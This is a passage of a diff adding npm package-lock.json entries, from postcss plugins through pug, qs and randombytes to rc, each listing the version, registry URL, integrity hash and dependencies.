+        },
+        "postcss-ordered-values": {
+            "version": "4.1.2",
+            "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-4.1.2.tgz",
+            "integrity": "sha512-2fCObh5UanxvSxeXrtLtlwVThBvHn6MQcu4ksNT2tsaV2Fg76R2CV98W7wNSlX+5/pFwEyaDwKLLoEV7uRybAw==",
+            "requires": {
+                "cssnano-util-get-arguments": "^4.0.0",
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0"
+            },
+            "dependencies": {
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
+        },
+        "postcss-reduce-initial": {
+            "version": "4.0.3",
+            "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-4.0.3.tgz",
+            "integrity": "sha512-gKWmR5aUulSjbzOfD9AlJiHCGH6AEVLaM0AV+aSioxUDd16qXP1PCh8d1/BGVvpdWn8k/HiK7n6TjeoXN1F7DA==",
+            "requires": {
+                "browserslist": "^4.0.0",
+                "caniuse-api": "^3.0.0",
+                "has": "^1.0.0",
+                "postcss": "^7.0.0"
+            }
+        },
+        "postcss-reduce-transforms": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-4.0.2.tgz",
+            "integrity": "sha512-EEVig1Q2QJ4ELpJXMZR8Vt5DQx8/mo+dGWSR7vWXqcob2gQLyQGsionYcGKATXvQzMPn6DSN1vTN7yFximdIAg==",
+            "requires": {
+                "cssnano-util-get-match": "^4.0.0",
+                "has": "^1.0.0",
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0"
+            },
+            "dependencies": {
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
+        },
+        "postcss-selector-parser": {
+            "version": "6.0.10",
+            "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz",
+            "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==",
+            "requires": {
+                "cssesc": "^3.0.0",
+                "util-deprecate": "^1.0.2"
+            }
+        },
+        "postcss-svgo": {
+            "version": "4.0.3",
+            "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-4.0.3.tgz",
+            "integrity": "sha512-NoRbrcMWTtUghzuKSoIm6XV+sJdvZ7GZSc3wdBN0W19FTtp2ko8NqLsgoh/m9CzNhU3KLPvQmjIwtaNFkaFTvw==",
+            "requires": {
+                "postcss": "^7.0.0",
+                "postcss-value-parser": "^3.0.0",
+                "svgo": "^1.0.0"
+            },
+            "dependencies": {
+                "postcss-value-parser": {
+                    "version": "3.3.1",
+                    "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.1.tgz",
+                    "integrity": "sha512-pISE66AbVkp4fDQ7VHBwRNXzAAKJjw4Vw7nWI/+Q3vuly7SNfgYXvm6i5IgFylHGK5sP/xHAbB7N49OS4gWNyQ=="
+                }
+            }
+        },
+        "postcss-unique-selectors": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-4.0.1.tgz",
+            "integrity": "sha512-+JanVaryLo9QwZjKrmJgkI4Fn8SBgRO6WXQBJi7KiAVPlmxikB5Jzc4EvXMT2H0/m0RjrVVm9rGNhZddm/8Spg==",
+            "requires": {
+                "alphanum-sort": "^1.0.0",
+                "postcss": "^7.0.0",
+                "uniqs": "^2.0.0"
+            }
+        },
+        "postcss-value-parser": {
+            "version": "4.2.0",
+            "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",
+            "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ=="
+        },
+        "prelude-ls": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz",
+            "integrity": "sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w=="
+        },
+        "prepend-http": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz",
+            "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc="
+        },
+        "preserve": {
+            "version": "0.2.0",
+            "resolved": "https://registry.npmjs.org/preserve/-/preserve-0.2.0.tgz",
+            "integrity": "sha512-s/46sYeylUfHNjI+sA/78FAHlmIuKqI9wNnzEOGehAlUUYeObv5C2mOinXBjyUyWmJ2SfcS2/ydApH4hTF4WXQ=="
+        },
+        "prettier": {
+            "version": "2.7.1",
+            "resolved": "https://registry.npmjs.org/prettier/-/prettier-2.7.1.tgz",
+            "integrity": "sha512-ujppO+MkdPqoVINuDFDRLClm7D78qbDt0/NR+wp5FqEZOoTNAjPHWj17QRhu7geIHJfcNhRk1XVQmF8Bp3ye+g=="
+        },
+        "pretty-bytes": {
+            "version": "5.6.0",
+            "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz",
+            "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg=="
+        },
+        "pretty-error": {
+            "version": "2.1.2",
+            "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-2.1.2.tgz",
+            "integrity": "sha512-EY5oDzmsX5wvuynAByrmY0P0hcp+QpnAKbJng2A2MPjVKXCxrDSUkzghVJ4ZGPIv+JC4gX8fPUWscC0RtjsWGw==",
+            "requires": {
+                "lodash": "^4.17.20",
+                "renderkid": "^2.0.4"
+            }
+        },
+        "pretty-format": {
+            "version": "25.5.0",
+            "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-25.5.0.tgz",
+            "integrity": "sha512-kbo/kq2LQ/A/is0PQwsEHM7Ca6//bGPPvU6UnsdDRSKTWxT/ru/xb88v4BJf6a69H+uTytOEsTusT9ksd/1iWQ==",
+            "requires": {
+                "@jest/types": "^25.5.0",
+                "ansi-regex": "^5.0.0",
+                "ansi-styles": "^4.0.0",
+                "react-is": "^16.12.0"
+            },
+            "dependencies": {
+                "ansi-regex": {
+                    "version": "5.0.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+                    "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+                },
+                "ansi-styles": {
+                    "version": "4.3.0",
+                    "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+                    "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+                    "requires": {
+                        "color-convert": "^2.0.1"
+                    }
+                },
+                "color-convert": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+                    "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+                    "requires": {
+                        "color-name": "~1.1.4"
+                    }
+                },
+                "color-name": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+                    "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+                }
+            }
+        },
+        "prismjs": {
+            "version": "1.28.0",
+            "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.28.0.tgz",
+            "integrity": "sha512-8aaXdYvl1F7iC7Xm1spqSaY/OJBpYW3v+KJ+F17iYxvdc8sfjW194COK5wVhMZX45tGteiBQgdvD/nhxcRwylw=="
+        },
+        "private": {
+            "version": "0.1.8",
+            "resolved": "https://registry.npmjs.org/private/-/private-0.1.8.tgz",
+            "integrity": "sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg=="
+        },
+        "process": {
+            "version": "0.11.10",
+            "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz",
+            "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A=="
+        },
+        "process-nextick-args": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+            "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag=="
+        },
+        "progress": {
+            "version": "2.0.3",
+            "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz",
+            "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA=="
+        },
+        "promise": {
+            "version": "7.3.1",
+            "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz",
+            "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==",
+            "requires": {
+                "asap": "~2.0.3"
+            }
+        },
+        "promise-inflight": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz",
+            "integrity": "sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g=="
+        },
+        "promised-io": {
+            "version": "0.3.6",
+            "resolved": "https://registry.npmjs.org/promised-io/-/promised-io-0.3.6.tgz",
+            "integrity": "sha512-bNwZusuNIW4m0SPR8jooSyndD35ggirHlxVl/UhIaZD/F0OBv9ebfc6tNmbpZts3QXHggkjIBH8lvtnzhtcz0A=="
+        },
+        "prompts": {
+            "version": "2.4.2",
+            "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz",
+            "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==",
+            "requires": {
+                "kleur": "^3.0.3",
+                "sisteransi": "^1.0.5"
+            },
+            "dependencies": {
+                "kleur": {
+                    "version": "3.0.3",
+                    "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz",
+                    "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w=="
+                }
+            }
+        },
+        "prop-types": {
+            "version": "15.8.1",
+            "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz",
+            "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==",
+            "requires": {
+                "loose-envify": "^1.4.0",
+                "object-assign": "^4.1.1",
+                "react-is": "^16.13.1"
+            }
+        },
+        "proper-lockfile": {
+            "version": "4.1.2",
+            "resolved": "https://registry.npmjs.org/proper-lockfile/-/proper-lockfile-4.1.2.tgz",
+            "integrity": "sha512-TjNPblN4BwAWMXU8s9AEz4JmQxnD1NNL7bNOY/AKUzyamc379FWASUhc/K1pL2noVb+XmZKLL68cjzLsiOAMaA==",
+            "requires": {
+                "graceful-fs": "^4.2.4",
+                "retry": "^0.12.0",
+                "signal-exit": "^3.0.2"
+            }
+        },
+        "property-information": {
+            "version": "4.2.0",
+            "resolved": "https://registry.npmjs.org/property-information/-/property-information-4.2.0.tgz",
+            "integrity": "sha512-TlgDPagHh+eBKOnH2VYvk8qbwsCG/TAJdmTL7f1PROUcSO8qt/KSmShEQ/OKvock8X9tFjtqjCScyOkkkvIKVQ==",
+            "requires": {
+                "xtend": "^4.0.1"
+            }
+        },
+        "protocols": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/protocols/-/protocols-2.0.1.tgz",
+            "integrity": "sha512-/XJ368cyBJ7fzLMwLKv1e4vLxOju2MNAIokcr7meSaNcVbWz/CPcW22cP04mwxOErdA5mwjA8Q6w/cdAQxVn7Q=="
+        },
+        "proxy-addr": {
+            "version": "2.0.7",
+            "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
+            "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
+            "requires": {
+                "forwarded": "0.2.0",
+                "ipaddr.js": "1.9.1"
+            }
+        },
+        "prr": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz",
+            "integrity": "sha512-yPw4Sng1gWghHQWj0B3ZggWUm4qVbPwPFcRG8KyxiU7J2OHFSoEHKS+EZ3fv5l1t9CyCiop6l/ZYeWbrgoQejw=="
+        },
+        "pseudomap": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz",
+            "integrity": "sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ=="
+        },
+        "psl": {
+            "version": "1.9.0",
+            "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz",
+            "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag=="
+        },
+        "public-encrypt": {
+            "version": "4.0.3",
+            "resolved": "https://registry.npmjs.org/public-encrypt/-/public-encrypt-4.0.3.tgz",
+            "integrity": "sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q==",
+            "requires": {
+                "bn.js": "^4.1.0",
+                "browserify-rsa": "^4.0.0",
+                "create-hash": "^1.1.0",
+                "parse-asn1": "^5.0.0",
+                "randombytes": "^2.0.1",
+                "safe-buffer": "^5.1.2"
+            },
+            "dependencies": {
+                "bn.js": {
+                    "version": "4.12.0",
+                    "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
+                    "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA=="
+                }
+            }
+        },
+        "pug": {
+            "version": "2.0.4",
+            "resolved": "https://registry.npmjs.org/pug/-/pug-2.0.4.tgz",
+            "integrity": "sha512-XhoaDlvi6NIzL49nu094R2NA6P37ijtgMDuWE+ofekDChvfKnzFal60bhSdiy8y2PBO6fmz3oMEIcfpBVRUdvw==",
+            "requires": {
+                "pug-code-gen": "^2.0.2",
+                "pug-filters": "^3.1.1",
+                "pug-lexer": "^4.1.0",
+                "pug-linker": "^3.0.6",
+                "pug-load": "^2.0.12",
+                "pug-parser": "^5.0.1",
+                "pug-runtime": "^2.0.5",
+                "pug-strip-comments": "^1.0.4"
+            }
+        },
+        "pug-attrs": {
+            "version": "2.0.4",
+            "resolved": "https://registry.npmjs.org/pug-attrs/-/pug-attrs-2.0.4.tgz",
+            "integrity": "sha512-TaZ4Z2TWUPDJcV3wjU3RtUXMrd3kM4Wzjbe3EWnSsZPsJ3LDI0F3yCnf2/W7PPFF+edUFQ0HgDL1IoxSz5K8EQ==",
+            "requires": {
+                "constantinople": "^3.0.1",
+                "js-stringify": "^1.0.1",
+                "pug-runtime": "^2.0.5"
+            }
+        },
+        "pug-code-gen": {
+            "version": "2.0.3",
+            "resolved": "https://registry.npmjs.org/pug-code-gen/-/pug-code-gen-2.0.3.tgz",
+            "integrity": "sha512-r9sezXdDuZJfW9J91TN/2LFbiqDhmltTFmGpHTsGdrNGp3p4SxAjjXEfnuK2e4ywYsRIVP0NeLbSAMHUcaX1EA==",
+            "requires": {
+                "constantinople": "^3.1.2",
+                "doctypes": "^1.1.0",
+                "js-stringify": "^1.0.1",
+                "pug-attrs": "^2.0.4",
+                "pug-error": "^1.3.3",
+                "pug-runtime": "^2.0.5",
+                "void-elements": "^2.0.1",
+                "with": "^5.0.0"
+            }
+        },
+        "pug-error": {
+            "version": "1.3.3",
+            "resolved": "https://registry.npmjs.org/pug-error/-/pug-error-1.3.3.tgz",
+            "integrity": "sha512-qE3YhESP2mRAWMFJgKdtT5D7ckThRScXRwkfo+Erqga7dyJdY3ZquspprMCj/9sJ2ijm5hXFWQE/A3l4poMWiQ=="
+        },
+        "pug-filters": {
+            "version": "3.1.1",
+            "resolved": "https://registry.npmjs.org/pug-filters/-/pug-filters-3.1.1.tgz",
+            "integrity": "sha512-lFfjNyGEyVWC4BwX0WyvkoWLapI5xHSM3xZJFUhx4JM4XyyRdO8Aucc6pCygnqV2uSgJFaJWW3Ft1wCWSoQkQg==",
+            "requires": {
+                "clean-css": "^4.1.11",
+                "constantinople": "^3.0.1",
+                "jstransformer": "1.0.0",
+                "pug-error": "^1.3.3",
+                "pug-walk": "^1.1.8",
+                "resolve": "^1.1.6",
+                "uglify-js": "^2.6.1"
+            }
+        },
+        "pug-lexer": {
+            "version": "4.1.0",
+            "resolved": "https://registry.npmjs.org/pug-lexer/-/pug-lexer-4.1.0.tgz",
+            "integrity": "sha512-i55yzEBtjm0mlplW4LoANq7k3S8gDdfC6+LThGEvsK4FuobcKfDAwt6V4jKPH9RtiE3a2Akfg5UpafZ1OksaPA==",
+            "requires": {
+                "character-parser": "^2.1.1",
+                "is-expression": "^3.0.0",
+                "pug-error": "^1.3.3"
+            }
+        },
+        "pug-linker": {
+            "version": "3.0.6",
+            "resolved": "https://registry.npmjs.org/pug-linker/-/pug-linker-3.0.6.tgz",
+            "integrity": "sha512-bagfuHttfQOpANGy1Y6NJ+0mNb7dD2MswFG2ZKj22s8g0wVsojpRlqveEQHmgXXcfROB2RT6oqbPYr9EN2ZWzg==",
+            "requires": {
+                "pug-error": "^1.3.3",
+                "pug-walk": "^1.1.8"
+            }
+        },
+        "pug-load": {
+            "version": "2.0.12",
+            "resolved": "https://registry.npmjs.org/pug-load/-/pug-load-2.0.12.tgz",
+            "integrity": "sha512-UqpgGpyyXRYgJs/X60sE6SIf8UBsmcHYKNaOccyVLEuT6OPBIMo6xMPhoJnqtB3Q3BbO4Z3Bjz5qDsUWh4rXsg==",
+            "requires": {
+                "object-assign": "^4.1.0",
+                "pug-walk": "^1.1.8"
+            }
+        },
+        "pug-parser": {
+            "version": "5.0.1",
+            "resolved": "https://registry.npmjs.org/pug-parser/-/pug-parser-5.0.1.tgz",
+            "integrity": "sha512-nGHqK+w07p5/PsPIyzkTQfzlYfuqoiGjaoqHv1LjOv2ZLXmGX1O+4Vcvps+P4LhxZ3drYSljjq4b+Naid126wA==",
+            "requires": {
+                "pug-error": "^1.3.3",
+                "token-stream": "0.0.1"
+            }
+        },
+        "pug-runtime": {
+            "version": "2.0.5",
+            "resolved": "https://registry.npmjs.org/pug-runtime/-/pug-runtime-2.0.5.tgz",
+            "integrity": "sha512-P+rXKn9un4fQY77wtpcuFyvFaBww7/91f3jHa154qU26qFAnOe6SW1CbIDcxiG5lLK9HazYrMCCuDvNgDQNptw=="
+        },
+        "pug-strip-comments": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/pug-strip-comments/-/pug-strip-comments-1.0.4.tgz",
+            "integrity": "sha512-i5j/9CS4yFhSxHp5iKPHwigaig/VV9g+FgReLJWWHEHbvKsbqL0oP/K5ubuLco6Wu3Kan5p7u7qk8A4oLLh6vw==",
+            "requires": {
+                "pug-error": "^1.3.3"
+            }
+        },
+        "pug-walk": {
+            "version": "1.1.8",
+            "resolved": "https://registry.npmjs.org/pug-walk/-/pug-walk-1.1.8.tgz",
+            "integrity": "sha512-GMu3M5nUL3fju4/egXwZO0XLi6fW/K3T3VTgFQ14GxNi8btlxgT5qZL//JwZFm/2Fa64J/PNS8AZeys3wiMkVA=="
+        },
+        "pump": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz",
+            "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==",
+            "requires": {
+                "end-of-stream": "^1.1.0",
+                "once": "^1.3.1"
+            }
+        },
+        "pumpify": {
+            "version": "1.5.1",
+            "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz",
+            "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==",
+            "requires": {
+                "duplexify": "^3.6.0",
+                "inherits": "^2.0.3",
+                "pump": "^2.0.0"
+            },
+            "dependencies": {
+                "pump": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz",
+                    "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==",
+                    "requires": {
+                        "end-of-stream": "^1.1.0",
+                        "once": "^1.3.1"
+                    }
+                }
+            }
+        },
+        "punycode": {
+            "version": "2.1.1",
+            "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
+            "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A=="
+        },
+        "pupa": {
+            "version": "2.1.1",
+            "resolved": "https://registry.npmjs.org/pupa/-/pupa-2.1.1.tgz",
+            "integrity": "sha512-l1jNAspIBSFqbT+y+5FosojNpVpF94nlI+wDUpqP9enwOTfHx9f0gh5nB96vl+6yTpsJsypeNrwfzPrKuHB41A==",
+            "requires": {
+                "escape-goat": "^2.0.0"
+            }
+        },
+        "q": {
+            "version": "1.5.1",
+            "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz",
+            "integrity": "sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw=="
+        },
+        "qs": {
+            "version": "6.10.3",
+            "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.3.tgz",
+            "integrity": "sha512-wr7M2E0OFRfIfJZjKGieI8lBKb7fRCH4Fv5KNPEs7gJ8jadvotdsS08PzOKR7opXhZ/Xkjtt3WF9g38drmyRqQ==",
+            "requires": {
+                "side-channel": "^1.0.4"
+            }
+        },
+        "query-string": {
+            "version": "6.14.1",
+            "resolved": "https://registry.npmjs.org/query-string/-/query-string-6.14.1.tgz",
+            "integrity": "sha512-XDxAeVmpfu1/6IjyT/gXHOl+S0vQ9owggJ30hhWKdHAsNPOcasn5o9BW0eejZqL2e4vMjhAxoW3jVHcD6mbcYw==",
+            "requires": {
+                "decode-uri-component": "^0.2.0",
+                "filter-obj": "^1.1.0",
+                "split-on-first": "^1.0.0",
+                "strict-uri-encode": "^2.0.0"
+            }
+        },
+        "querystring": {
+            "version": "0.2.1",
+            "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.1.tgz",
+            "integrity": "sha512-wkvS7mL/JMugcup3/rMitHmd9ecIGd2lhFhK9N3UUQ450h66d1r3Y9nvXzQAW1Lq+wyx61k/1pfKS5KuKiyEbg=="
+        },
+        "querystring-es3": {
+            "version": "0.2.1",
+            "resolved": "https://registry.npmjs.org/querystring-es3/-/querystring-es3-0.2.1.tgz",
+            "integrity": "sha512-773xhDQnZBMFobEiztv8LIl70ch5MSF/jUQVlhwFyBILqq96anmoctVIYz+ZRp0qbCKATTn6ev02M3r7Ga5vqA=="
+        },
+        "querystringify": {
+            "version": "2.2.0",
+            "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz",
+            "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ=="
+        },
+        "queue-microtask": {
+            "version": "1.2.3",
+            "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
+            "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A=="
+        },
+        "quick-lru": {
+            "version": "5.1.1",
+            "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz",
+            "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA=="
+        },
+        "randomatic": {
+            "version": "3.1.1",
+            "resolved": "https://registry.npmjs.org/randomatic/-/randomatic-3.1.1.tgz",
+            "integrity": "sha512-TuDE5KxZ0J461RVjrJZCJc+J+zCkTb1MbH9AQUq68sMhOMcy9jLcb3BrZKgp9q9Ncltdg4QVqWrH02W2EFFVYw==",
+            "requires": {
+                "is-number": "^4.0.0",
+                "kind-of": "^6.0.0",
+                "math-random": "^1.0.1"
+            },
+            "dependencies": {
+                "is-number": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/is-number/-/is-number-4.0.0.tgz",
+                    "integrity": "sha512-rSklcAIlf1OmFdyAqbnWTLVelsQ58uvZ66S/ZyawjWqIviTWCjg2PzVGw8WUA+nNuPTqb4wgA+NszrJ+08LlgQ=="
+                },
+                "kind-of": {
+                    "version": "6.0.3",
+                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+                    "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
+                }
+            }
+        },
+        "randombytes": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
+            "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
+            "requires": {
+                "safe-buffer": "^5.1.0"
+            }
+        },
+        "randomfill": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/randomfill/-/randomfill-1.0.4.tgz",
+            "integrity": "sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==",
+            "requires": {
+                "randombytes": "^2.0.5",
+                "safe-buffer": "^5.1.0"
+            }
+        },
+        "range-parser": {
+            "version": "1.2.1",
+            "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
+            "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg=="
+        },
+        "raw-body": {
+            "version": "2.5.1",
+            "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz",
+            "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==",
+            "requires": {
+                "bytes": "3.1.2",
+                "http-errors": "2.0.0",
+                "iconv-lite": "0.4.24",
+                "unpipe": "1.0.0"
+            }
+        },
+        "raw-loader": {
+            "version": "0.5.1",
+            "resolved": "https://registry.npmjs.org/raw-loader/-/raw-loader-0.5.1.tgz",
+            "integrity": "sha512-sf7oGoLuaYAScB4VGr0tzetsYlS8EJH6qnTCfQ/WVEa89hALQ4RQfCKt5xCyPQKPDUbVUAIP1QsxAwfAjlDp7Q=="
+        },
+        "rc": {
+            "version": "1.2.8",
+            "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz",
